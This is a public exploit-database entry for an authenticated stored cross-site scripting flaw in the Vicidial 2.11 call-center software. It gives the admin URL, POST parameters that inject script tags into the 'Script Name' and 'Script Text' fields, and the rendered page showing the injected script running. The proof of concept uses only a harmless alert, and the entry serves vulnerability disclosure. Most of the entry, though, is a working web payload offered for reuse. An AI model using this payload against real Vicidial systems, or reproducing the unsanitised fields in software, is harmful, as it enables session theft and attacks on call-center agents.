Vicidial 2.11 - Scripts Persistent Cross-Site Scripting

🗓️ 17 Jun 2016 00:00:00Reported by David SilveiroType

zdt🔗 0day.today👁 17 Views

Vicidial 2.11 Authenticated Stored XSS in Script

# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://vicidial.org
# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download
 
 
Vicidial is a popular opensource software, used throughout many different sectors,
such as; call centers for inbound & outband calling.
 
The vulnerablility is triggered when an authenticated with user sufficient permissions, 
creates a script (small text document that the agents use for remembering lines)without 
sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature 
of how widely this script can be set, for example a whole Tele-marketing campaign or specific
 agent, it could very easily be used to infect other hosts on the Network.
 
POC:
 
http://localhost.com/vicidial_demo/admin.php?ADD=1111111
 
POST Data (script_name & script_text); 
 
ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&
active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT
 
Click 'Preview Script'
 
    <html>
 
    <head></head>
    <body bgcolor="white" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
        <font size="2" color="BLACK" face="ARIAL,HELVETICA">
            <font size="2" color="BLACK" face="ARIAL,HELVETICA">
 
                Preview Script: 1017
 
                <br></br>
                <table width="600">
                    <tbody>
                        <tr>
                            <td>
                                <center>
                                <script>
 
                                    alert('XSS!')
 
                                </script>
                                    <br></br>
                                </center>
                                <script>
 
                                    alert('XSS 2!')
 
                                </script>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </font>
        </font>
    </body>
    </html>

#  0day.today [2018-03-20]  #

17 Jun 2016 00:00Current

7.1High risk

Vulners AI Score7.1